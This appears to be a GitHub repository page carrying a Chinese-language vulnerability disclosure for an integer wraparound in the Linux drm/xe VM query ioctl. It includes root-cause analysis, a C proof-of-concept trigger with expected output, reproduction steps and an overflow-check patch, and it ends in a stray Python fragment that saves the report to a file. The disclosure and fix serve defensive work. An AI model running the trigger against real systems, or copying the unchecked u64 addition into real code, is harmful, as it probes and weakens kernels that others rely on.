poxsky/CVE-2026-XXXXX-Integer-Wraparound-in-Linux-Kernel-drm-xe-VM-Query-Pat

GitHub: poxsky/CVE-2026-XXXXX-Integer-Wraparound-in-Linux-Kernel-drm-xe-VM-Query-Pat

该项目是一份关于 Linux 内核 drm/xe 驱动 VM 查询路径中整数回绕漏洞的完整安全研究报告,包含根因分析、PoC 代码和修复补丁。

Stars: 0 | Forks: 0

** CVE-2026-XXXXX: Linux 内核 drm/xe VM 查询路径中的整数回绕 ** ## 目录 - [执行摘要](#executive-summary) - [受影响版本](#affected-versions) - [受影响代码](#affected-code) - [根本原因分析](#root-cause-analysis) - [影响评估](#impact-assessment) - [概念验证](#proof-of-concept) - [复现步骤](#reproduction-steps) - [修复建议](#recommended-fix) - [补丁](#patch) - [披露时间线](#disclosure-timeline) - [致谢](#credits) - [参考资料](#references) ## 执行摘要 Linux 内核的 **Intel Xe DRM 驱动程序** (`drm/xe`) 中存在一个整数回绕漏洞。`DRM_IOCTL_XE_VM_QUERY_MEM_RANGE_ATTRS` ioctl 在计算 `args->start + args->range` 时,将其作为无符号 64 位整数求和,**没有进行溢出验证**。当本地用户提供接近 `U64_MAX` 的 `start` 值和非零的 `range` 时,它们的和会回绕为一个较小的值,导致内核将一个反转的范围传递给 `drm_gpuvm_for_each_va_range()`。这会导致返回错误的 VMA 查询结果,而不是返回 `-EINVAL`。 ## 受影响版本 | 内核版本 | 状态 | |----------------|--------| | Linux >= 6.12 | **存在漏洞**(自引入 `DRM_IOCTL_XE_VM_QUERY_MEM_RANGE_ATTRS` 起) | | linux.git master (torvalds/linux, 2026 年 7 月) | **确认存在漏洞** | ## 受影响代码 **文件:** `drivers/gpu/drm/xe/xe_vm.c` **存在漏洞的函数:** - `xe_vm_query_vmas_attrs_ioctl()` — ioctl 处理程序 - `xe_vm_query_vmas()` — 静态辅助函数 - `get_mem_attrs()` — 静态辅助函数 ### 存在漏洞的代码片段 ``` int xe_vm_query_vmas_attrs_ioctl(struct drm_device *dev, void *data, struct drm_file *file) { struct drm_xe_vm_query_mem_range_attr *args = data; ... if (args->num_mem_ranges == 0 && !attrs_user) { args->num_mem_ranges = xe_vm_query_vmas(vm, args->start, args->start + args->range); args->sizeof_mem_range_attr = sizeof(struct drm_xe_mem_range_attr); goto unlock_vm; } ... err = get_mem_attrs(vm, &args->num_mem_ranges, args->start, args->start + args->range, mem_attrs); ... } ``` 这两处调用在计算 `args->start + args->range` 时,**均未**使用 `check_add_overflow()` 或进行等效验证。 ## 根本原因分析 ### 漏洞详情 `args->start` 和 `args->range` 均为 `u64` 值,由用户空间通过 ioctl 接口控制。内核盲目地将它们相加: ``` end = start + range // No overflow check! ``` ### 回绕发生时的情况 | 输入 | 计算 | 结果 | |-------|-------------|--------| | `start = 0xFFFFFFFFFFFFF000` | `start + range` | 回绕为较小的值 | | `range = 0x2000` | `end = 0x1000` | `end < start` | 当 `end < start` 时,`drm_gpuvm_for_each_va_range()` 会将这个反转的范围视为空,并返回 `0` 个 VMA。ioctl 会返回成功 (`0`) 且 `num_mem_ranges = 0`,而不是以 `-EINVAL` 拒绝这个无效的范围。 ### 为什么这很重要 - **逻辑完整性失效:** ioctl 接受并处理了在语义上无效的范围。 - **非特权触发:** 任何有权访问 `/dev/dri/renderD*` 的用户都可以触发此漏洞。 - **缺乏纵深防御:** 在面向用户空间的 ioctl 中,缺少标准的 `check_add_overflow()` 保护。 ## 影响评估 | 类别 | 评估 | |----------|------------| | **机密性** | 低 — 错误的查询结果可能会泄露某个 VMA 不存在的信息 | | **完整性** | 中 — 查询结果不正确/在逻辑上无效 | | **可用性** | 低 — 没有直接的 DoS;分配路径使用 `__GFP_NOWARN` | | **所需权限** | 低 — 具有渲染节点访问权限的非特权用户 | | **攻击向量** | 本地 | | **可利用性** | 容易 — 单次 ioctl 调用并使用精心构造的值即可 | **CVSS 4.0 评分:** `5.3 (中危)` — 本地,低权限,无需用户交互 ## 概念验证 ### POC 代码:`poc_xe_query_wraparound.c` ``` /* * POC: Integer wraparound in drm/xe VM query ioctl * Compile: gcc -o poc_xe_query_wraparound poc_xe_query_wraparound.c * Run: ./poc_xe_query_wraparound * Requires: Intel Xe GPU + /dev/dri/renderD128 access */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include int main(void) { int fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("open /dev/dri/renderD128"); return 1; } /* Create a VM */ struct drm_xe_vm_create vm_create = {0}; if (ioctl(fd, DRM_IOCTL_XE_VM_CREATE, &vm_create) < 0) { perror("DRM_IOCTL_XE_VM_CREATE"); return 1; } printf("[+] Created VM id = %u\\n", vm_create.vm_id); /* Trigger wraparound: start near U64_MAX */ struct drm_xe_vm_query_mem_range_attr args = {0}; args.vm_id = vm_create.vm_id; args.start = 0xFFFFFFFFFFFFF000ULL; /* Near U64_MAX */ args.range = 0x2000ULL; /* Wraps to 0x1000 */ printf("[+] Sending query with start=0x%016llx range=0x%016llx\\n", (unsigned long long)args.start, (unsigned long long)args.range); int ret = ioctl(fd, DRM_IOCTL_XE_VM_QUERY_MEM_RANGE_ATTRS, &args); printf("[+] ioctl returned: ret=%d, errno=%d (%s)\\n", ret, errno, strerror(errno)); printf("[+] num_mem_ranges returned: %u\\n", args.num_mem_ranges); /* Expected buggy behavior: ret=0, num_mem_ranges=0 (should be -EINVAL) */ if (ret == 0 && args.num_mem_ranges == 0) { printf("[!] BUG CONFIRMED: ioctl accepted invalid wrapped range!\\n"); } else if (ret < 0) { printf("[+] Range correctly rejected with error\\n"); } /* Cleanup */ struct drm_xe_vm_destroy destroy = { .vm_id = vm_create.vm_id }; ioctl(fd, DRM_IOCTL_XE_VM_DESTROY, &destroy); close(fd); return 0; } ``` ### 预期输出(存在漏洞时) ``` [+] Created VM id = 1 [+] Sending query with start=0xfffffffffffff000 range=0x0000000000002000 [+] ioctl returned: ret=0, errno=0 (Success) [+] num_mem_ranges returned: 0 [!] BUG CONFIRMED: ioctl accepted invalid wrapped range! ``` ### 预期输出(修复后) ``` [+] Created VM id = 1 [+] Sending query with start=0xfffffffffffff000 range=0x0000000000002000 [+] ioctl returned: ret=-1, errno=22 (Invalid argument) [+] Range correctly rejected with error ``` ## 复现步骤 1. **前置条件:** - Intel Xe GPU (Intel Arc / Meteor Lake / 或更新型号) - Linux 内核 >= 6.12 且配置了 `CONFIG_DRM_XE=y` - 用户属于 `video` 或 `render` 组(有权访问 `/dev/dri/renderD*`) 2. **构建 POC:** gcc -o poc_xe_query_wraparound poc_xe_query_wraparound.c 3. **运行 POC:** ./poc_xe_query_wraparound 4. **验证漏洞:** - 如果 `ret=0` 且 `num_mem_ranges=0` → **确认存在漏洞** - 如果 `ret=-1` 且 `errno=EINVAL` → **已经修复** ## 修复建议 在计算结束地址之前添加 `check_add_overflow()`: ``` int xe_vm_query_vmas_attrs_ioctl(struct drm_device *dev, void *data, struct drm_file *file) { struct drm_xe_vm_query_mem_range_attr *args = data; struct xe_device *xe = to_xe_device(dev); ... u64 end; if (check_add_overflow(args->start, args->range, &end)) return -EINVAL; if (args->num_mem_ranges == 0 && !attrs_user) { args->num_mem_ranges = xe_vm_query_vmas(vm, args->start, end); args->sizeof_mem_range_attr = sizeof(struct drm_xe_mem_range_attr); goto unlock_vm; } ... err = get_mem_attrs(vm, &args->num_mem_ranges, args->start, end, mem_attrs); ... } ``` 这是 Linux 内核中用于 ioctl 里 u64 算术运算的标准模式。 ## 补丁 ``` --- a/drivers/gpu/drm/xe/xe_vm.c +++ b/drivers/gpu/drm/xe/xe_vm.c @@ -...,... @@ int xe_vm_query_vmas_attrs_ioctl(struct drm_device *dev, void *data, struct drm_xe_vm_query_mem_range_attr *args = data; u64 __user *attrs_user = u64_to_user_ptr(args->vector_of_mem_attr); struct xe_vm *vm; + u64 end; int err = 0; if (XE_IOCTL_DBG(xe, @@ -...,... @@ int xe_vm_query_vmas_attrs_ioctl(struct drm_device *dev, void *data, if (XE_IOCTL_DBG(xe, !vm)) return -EINVAL; + if (check_add_overflow(args->start, args->range, &end)) + return -EINVAL; + err = down_read_interruptible(&vm->lock); if (err) goto put_vm; if (args->num_mem_ranges == 0 && !attrs_user) { - args->num_mem_ranges = xe_vm_query_vmas(vm, args->start, args->start + args->range); + args->num_mem_ranges = xe_vm_query_vmas(vm, args->start, end); args->sizeof_mem_range_attr = sizeof(struct drm_xe_mem_range_attr); goto unlock_vm; } @@ -...,... @@ int xe_vm_query_vmas_attrs_ioctl(struct drm_device *dev, void *data, memset(mem_attrs, 0, args->num_mem_ranges * args->sizeof_mem_range_attr); err = get_mem_attrs(vm, &args->num_mem_ranges, args->start, - args->start + args->range, mem_attrs); + end, mem_attrs); ``` ## 披露时间线 | 日期 | 事件 | |------|-------| | 2026-07-30 | 发现并分析漏洞 | | 2026-07-30 | 向 MITRE / Linux 内核安全团队申请 CVE | | 待定 | 厂商确认 | | 待定 | 向 dri-devel / intel-xe 邮件列表提交补丁 | | 待定 | 发布 CVE | ## 致谢 - **发现者:** Saurabh Pal - **分析协助:** Claude (Anthropic), Kimi (Moonshot AI) ## 参考资料 - [Linux 内核源码 — xe_vm.c](https://github.com/torvalds/linux/blob/master/drivers/gpu/drm/xe/xe_vm.c) - [Intel Xe 驱动程序文档](https://www.kernel.org/doc/html/latest/gpu/drm-xe.html) - [Linux 内核 CVE 分配](https://cve.kernel.org/) - [MITRE CVE 计划](https://www.cve.org/) ## 许可证 本报告及 POC 代码仅用于安全研究和负责任的披露目的。 """ with open("/mnt/agents/output/README_drm_xe_bug_report.md", "w") as f: f.write(readme) print("README saved!") print(f"Length: {len(readme)} chars")
标签:Intel显卡驱动, Linux内核, 安全渗透, 整数溢出, 漏洞分析, 路径探测